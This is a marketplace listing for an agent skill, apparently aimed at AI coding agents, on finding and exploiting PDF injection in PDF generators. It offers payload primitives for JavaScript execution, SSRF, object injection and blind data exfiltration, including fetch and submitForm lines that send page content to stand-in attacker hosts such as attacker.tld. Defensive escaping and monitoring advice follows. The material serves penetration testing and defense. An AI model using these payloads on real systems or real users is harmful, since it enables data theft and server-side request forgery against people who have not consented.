# PDF Injection Pentest

> PDF injection vulnerability testing and exploitation. Use this skill whenever you need to test for PDF injection vulnerabilities, craft PDF injection payloads, analyze PDF structures for injection points, or assess PDF generation libraries for security issues. Trigger this skill for any task involving PDF security, PDF XSS, PDF-based SSRF, or when reviewing code that generates PDFs from user input. Don't forget to use this skill even if the user just mentions "PDF security" or "PDF vulnerabilities" without explicitly asking for injection testing.

- Skill: `abelrguezr/pdf-injection-pentest` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/pdf-injection-pentest`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/pdf-injection-pentest/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/pdf-injection-pentest

---


# PDF Injection Pentesting Skill

A comprehensive skill for identifying, exploiting, and defending against PDF injection vulnerabilities. PDF syntax is extremely permissive—if you can break out of a string or dictionary embedding user input, you can inject new objects that PDF viewers will execute.

## When to Use This Skill

Use this skill when:
- Testing applications that generate PDFs from user-controlled input
- Investigating reflected input inside PDF files
- Crafting payloads for PDF-based XSS or SSRF
- Reviewing PDF generation libraries (jsPDF, node-qpdf, etc.)
- Analyzing PDF structures for injection points
- Assessing bug bounty targets with PDF generation features
- Needing to exfiltrate data through PDF viewers

## Core Attack Workflow

### Step 1: Identify Injection Points

Look for user-controlled values that end up inside:
- Parenthesis strings: `(user_input)`
- URI fields: `/URI (https://...user_input...)`
- JavaScript fields: `/JS (app.alert(user_input))`
- Annotation dictionaries
- Form field values

**Common vulnerable patterns:**
```javascript
// jsPDF - UNSAFE
doc.text(userInput, 50, 50)  // If userInput contains ) or 

doc.addJS(userInput)  // Direct injection into JS field

// Python reportlab - UNSAFE
canvas.drawString(100, 100, user_input)
```

### Step 2: Craft Injection Payloads

The key is closing the original string/dictionary and injecting new PDF objects.

**Basic string escape:**
```
) ) /A << /S /JavaScript /JS (app.alert("XSS")) >> (
```

**Complete payload structure:**
1. Close the original string: `)`
2. Add space or newline
3. Inject your action/object
4. Reopen string to maintain validity: `(`

### Step 3: Deliver and Execute

- **Direct delivery**: Send malicious PDF to victim
- **Blind exploitation**: Target backend services that render PDFs
- **Link hijacking**: Inject into `/Link` annotations for click-triggered execution

## Payload Primitives

### JavaScript Execution on Open

```pdf
/OpenAction << /S /JavaScript /JS (app.alert("PDF pwned")) >>
```

**Works in:** Acrobat Reader, Adobe Reader
**Does NOT work in:** Chrome PDFium (sandboxed)

### JavaScript on Link Click

```pdf
/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>
```

**Works in:** PDFium (Chrome/Edge), Acrobat
**Requires:** Control over a `/Link` annotation

### Blind Data Exfiltration

```pdf
<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)
```

Combine with JavaScript to extract content:
```javascript
this.getPageNthWord(0, 0, 0)  // Get first word from page
```

### Server-Side SSRF

```pdf
/URI (https://internal-service.local/admin)
```

**Use case:** When backend services render PDFs and honor `/URI` actions

### Additional Actions (/AA) Injection

```pdf
) >> /AA << /O << /S /JavaScript /JS (app.alert('AA fired')) >> >> (
```

**Triggers on:** Document open, focus events
**Target:** Catalog, Page, Annotation, or Form dictionaries

### Full Object Injection (with newlines)

```pdf
\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj\n
```

**Requires:** Ability to inject newline characters
**Power:** Can create completely new PDF objects

### Blind Enumeration (Gareth Heyes)

```pdf
) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (
```

**Purpose:** Enumerate all objects in unknown PDF
**Output:** JSON-ish dump via outbound requests

## Real-World Vulnerability Patterns

### CVE-2026-25755 (jsPDF addJS)

**Vulnerability:** Unsanitized input in `addJS()` method
**Injection:** Close JS literal, inject `/AA` → `/O` → `/JavaScript`
**Impact:** JavaScript execution on open/focus

**Exploitation:**
```javascript
// Vulnerable code
doc.addJS(userInput)

// Payload
) /AA << /O << /S /JavaScript /JS (malicious_code) >> >> (
```

### CVE-2024-4367 (PDF.js)

**Vulnerability:** Sandbox bypass in Firefox PDF.js < 4.2.67
**Injection:** Crafted `/JavaScript` action
**Impact:** Arbitrary JavaScript execution

### Invoice Note Injection (Bug Bounty 2024)

**Vulnerability:** Customer notes in `/URI` field
**Injection:** `) /URI (https://attacker.tld/?ssrf=internal) (`
**Impact:** SSRF to internal metadata host
**Reward:** $10,000

## Testing Methodology

### Phase 1: Reconnaissance

1. **Identify PDF generation endpoints**
   - Invoice generation
   - Report exports
   - Document downloads
   - Certificate generation

2. **Map user input to PDF output**
   - Submit test values with special characters
   - Look for: `)`, `\`, `(`, `<<`, `>>`
   - Check if input appears in PDF structure

3. **Determine PDF viewer context**
   - Client-side rendering (Chrome, Firefox, Acrobat)
   - Server-side rendering (backend services)
   - Automatic processing (email attachments, document management)

### Phase 2: Injection Testing

1. **Test string escape sequences**
   ```
   Test: ) (  → Check if breaks out of string
   Test: \) ( → Check if backslash escapes
   Test: )\n( → Check if newline injection works
   ```

2. **Test action injection**
   ```
   Payload: ) /A << /S /JavaScript /JS (app.alert(1)) >> (
   Expected: Alert on link click or document open
   ```

3. **Test object injection**
   ```
   Payload: )\n10 0 obj\n<< /Type /Action /S /JavaScript /JS (app.alert(1)) >>\nendobj\n(
   Expected: New object in PDF structure
   ```

### Phase 3: Exploitation

1. **For XSS:**
   - Use `/JavaScript` actions
   - Target Acrobat for full API access
   - Use `this.getPageNthWord()` for content extraction

2. **For SSRF:**
   - Use `/URI` actions with internal URLs
   - Target backend PDF rendering services
   - Use `file:///` scheme for local file access

3. **For Blind Bugs:**
   - Use outbound HTTP requests in JavaScript
   - Use `submitForm()` to exfiltrate data
   - Use enumeration payload for structure discovery

## Defensive Recommendations

### For Developers

1. **Never concatenate raw user input** in PDF strings
   ```javascript
   // BAD
   doc.text(userInput, 50, 50)
   
   // GOOD
   doc.text(escapePDF(userInput), 50, 50)
   ```

2. **Use hex strings** for untrusted content
   ```pdf
   <48656C6C6F>  instead of  (Hello)
   ```

3. **Escape special characters** per PDF spec §7.3
   - `\` → `\\`
   - `(` → `\(`
   - `)` → `\)`
   - Newlines → `\n`

4. **Validate and sanitize** action dictionaries
   - Strip `/OpenAction`, `/AA`, `/Launch`, `/SubmitForm`, `/ImportData`
   - Block `javascript:` URI schemes

5. **Use safe PDF libraries**
   - Keep jsPDF, reportlab, qpdf updated
   - Review library changelogs for security fixes

### For Security Teams

1. **Post-process untrusted PDFs**
   ```bash
   qpdf --decrypt --linearize untrusted.pdf cleaned.pdf
   ```

2. **Render with headless converters**
   - Remove JavaScript and external actions
   - Use sandboxed environments

3. **Keep viewers updated**
   - PDF.js ≥ 4.2.67
   - Acrobat Reader ≥ July 2024 patches
   - Chrome/Edge PDFium (auto-updates)

4. **Monitor for exploitation**
   - Watch for outbound requests from PDF viewers
   - Log PDF generation with user input
   - Alert on unusual PDF structures

## Quick Reference

| Goal | Payload | Viewer Support |
|------|---------|----------------|
| Alert on open | `/OpenAction << /S /JavaScript /JS (app.alert(1)) >>` | Acrobat only |
| Alert on click | `/A << /S /JavaScript /JS (app.alert(1)) >>` | All viewers |
| Data exfil | `this.submitForm('https://x.tld?'+data)` | Acrobat |
| SSRF | `/URI (https://internal.local)` | Backend renderers |
| Object injection | `\nendobj\n10 0 obj\n<<...>>\nendobj\n` | All (if newlines allowed) |
| Enumeration | `for(i in this){this.submitForm(...)}catch(e){}` | Acrobat |

## References

- PortSwigger: "Portable Data exFiltration – XSS for PDFs" (May 2024)
- Dawid Ryłko: "CVE-2024-4367: Arbitrary JavaScript Execution in PDF.js" (Apr 2024)
- GitLab Advisory: "CVE-2026-25755: jsPDF PDF Object Injection" (Feb 2026)
- PDF Specification §7.3: Text String Objects
- Adobe Acrobat Help: Embedded Action Signing Warning (Sep 2025)

## Next Steps

After identifying a PDF injection vulnerability:
1. Document the injection point and payload
2. Test across multiple PDF viewers
3. Assess impact (XSS, SSRF, data exfiltration)
4. Provide remediation guidance
5. Consider blind exploitation if direct testing isn't possible

